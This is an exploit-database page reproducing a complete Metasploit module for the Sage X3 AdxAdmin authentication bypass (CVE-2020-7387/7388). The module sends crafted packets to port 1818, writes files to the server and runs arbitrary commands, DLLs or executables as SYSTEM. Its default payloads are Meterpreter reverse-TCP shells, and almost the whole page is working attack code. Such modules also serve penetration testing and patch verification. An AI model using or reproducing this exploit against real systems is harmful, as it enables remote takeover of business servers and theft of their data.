Advertisement






Sage X3 Administration Service Authentication Bypass / Command Execution

CVE Category Price Severity
CVE-2020-7387 CWE-20: Improper Input Validation $10,000 Critical
Author Risk Exploitation Type Date
Alexis Moreau High Remote 2021-07-21
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070131

Below is a copy:

Sage X3 Administration Service Authentication Bypass / Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',
        'Description' => %q{
          This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration
          protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an
          available AdxAdmin service.
        },
        'Author' => [
          'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk
          'Aaron Herndon' # @ac3lives
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2021-07-07',
        'References' =>
          [
            ['CVE', '2020-7387'], # Infoleak
            ['CVE', '2020-7388'], # RCE
            ['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
          ],
        'Privileged' => true,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/generic',
                'CMD' => 'whoami'
              }
            }
          ],
          [
            'Windows DLL',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Executable',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [FIRST_ATTEMPT_FAIL],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(1818)
      ]
    )
  end

  def vprint(msg = '')
    print(msg) if datastore['VERBOSE']
  end

  def check
    s = connect
    print_status('Connected')

    # ADXDIR command authentication header
    # allows for unauthenticated retrieval of X3 directory
    auth_packet = "\x09\x00"
    s.write(auth_packet)

    # recv response
    res = s.read(1024)

    if res.nil? || res.length != 4
      print_bad('ADXDIR authentication failed')
      return CheckCode::Safe
    end

    if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]
      print_bad('ADXDIR authentication failed')
      return CheckCode::Safe
    end

    print_good('ADXDIR authentication successful.')

    # ADXDIR command
    adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00"
    s.write(adx_dir_msg)
    directory = s.read(1024)

    return CheckCode::Safe if directory.nil?

    sagedir = directory[4..-2]
    print_good(format('Received directory info from host: %s', sagedir))
    disconnect

    CheckCode::Vulnerable(details: { sagedir: sagedir })
  rescue Rex::ConnectionError
    CheckCode::Unknown
  end

  def build_buffer(head, sage_payload, tail)
    buffer = ''

    # do things
    buffer << head if head
    buffer << sage_payload.length
    buffer << sage_payload
    buffer << tail if tail

    buffer
  end

  def write_file(sock, filenum, sage_payload, target, sagedir)
    s = sock

    # building the initial authentication packet
    # [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]
    # Note: the first byte of this auth packet is different from the ADXDIR command

    revsagedir = sagedir.gsub('\\', '/')

    s.write("\x06\x00")
    auth_resp = s.read(1024)

    fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4

    print_good('Command authentication successful.')

    # May require additional information such as file path
    # this will be used for multiple messages

    head = "\x00\x00\x36\x02\x00\x2e\x00" # head
    fmt = '@%s/tmp/cmd%s$cmd'
    fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'
    fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'
    pload = format(fmt, revsagedir, filenum)
    tail = "\x00\x03\x00\x01\x77"
    sendbuf = build_buffer(head, pload, tail)
    s.write(sendbuf)
    s.read(1024)

    # Packet --- 3
    # Creating the packet that contains the command to run
    head = "\x02\x00\x05\x08\x00\x00\x00"

    # this writes the data to the .cmd file to get executed
    # a single write can't be larger than ~250 bytes
    # so writes larger than 250 need to be broken up
    written = 0
    print_status('Writing data')

    while written < sage_payload.length
      vprint('.')

      towrite = sage_payload[written..written + 250]
      sendbuf = build_buffer(head, towrite, nil)
      s.write(sendbuf)
      s.recv(1024)

      written += towrite.length
    end

    vprint("\r\n")
  end

  def exploit
    sage_payload = payload.encoded if target.name == 'Windows Command'
    sage_payload = generate_payload_dll if target.name == 'Windows DLL'
    sage_payload = generate_payload_exe if target.name == 'Windows Executable'

    sagedir = check.details[:sagedir]

    if sagedir.nil?
      fail_with(Failure::NotVulnerable,
                'No directory was returned by the remote host, may not be vulnerable')
    end

    if sagedir.end_with?('AdxAdmin')
      register_dir_for_cleanup("#{sagedir}\\tmp")
    end

    revsagedir = sagedir.gsub('\\', '/')

    filenum = rand_text_numeric(8)
    vprint_status(format('Using generated filename: %s', filenum))

    s = connect

    write_file(s, filenum, sage_payload, target.name, sagedir)

    unless target.name == 'Windows Command'
      disconnect
      # re-establish connection after writing file
      s = connect
    end

    if target.name == 'Windows DLL'
      sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0"
      vprint_status(sage_payload)
      write_file(s, filenum, sage_payload, nil, sagedir)
    end

    if target.name == 'Windows Executable'
      sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe"
      vprint_status(sage_payload)
      write_file(s, filenum, sage_payload, nil, sagedir)
    end

    # Some sort of delimiter
    delim0 = "\x02\x00\x01\x01" # bufm
    s.write(delim0)
    s.recv(1024)

    # Packet --- 4
    sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"
    head = "\x00\x00\x37\x02\x00\x2f\x00"
    tail = "\x00\x03\x00\x01\x77"
    sendbuf = build_buffer(head, sage_payload, tail)
    s.write(sendbuf)
    s.recv(1024)

    # Packet --- 5
    head = "\x02\x00\x05\x08\x00\x00\x00"
    sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on"
    sendbuf = build_buffer(head, sage_payload, nil)
    s.write(sendbuf)
    s.recv(1024)

    # Packet --- Delim
    s.write(delim0)
    s.recv(1024)

    # Packet --- 6
    head = "\x00\x00\x36\x04\x00\x2e\x00"
    sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd"
    tail = "\x00\x03\x00\x01\x72"
    sendbuf = build_buffer(head, sage_payload, tail)
    s.write(sendbuf)
    s.recv(1024)

    # if it's not COMMAND, we can stop here
    # otherwise, we'll send/recv the last bit
    # of info for the output
    unless target.name == 'Windows Command'
      disconnect
      return
    end

    # Packet --- Delim
    delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00"
    s.write(delim1)
    s.recv(1024)

    # Packet --- Delim
    s.write(delim0)
    s.recv(1024)

    # The two below are directing the server to read from the .out file that should have been created
    # Then we get the output back
    # Packet --- 7 - Still works when removed.
    head = "\x00\x00\x2f\x07\x08\x00\x2b\x00"
    sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
    sendbuf = build_buffer(head, sage_payload, nil)
    s.write(sendbuf)
    s.recv(1024)

    # Packet --- 8
    head = "\x00\x00\x33\x02\x00\x2b\x00"
    sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"
    tail = "\x00\x03\x00\x01\x72"
    sendbuf = build_buffer(head, sage_payload, tail)
    s.write(sendbuf)
    s.recv(1024)

    s.write(delim1)
    returned_data = s.recv(8096).strip!

    if returned_data.nil? || returned_data.empty?
      disconnect
      fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')
    end

    print_good('------------ Response Received ------------')
    print_status(returned_data)
    disconnect
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum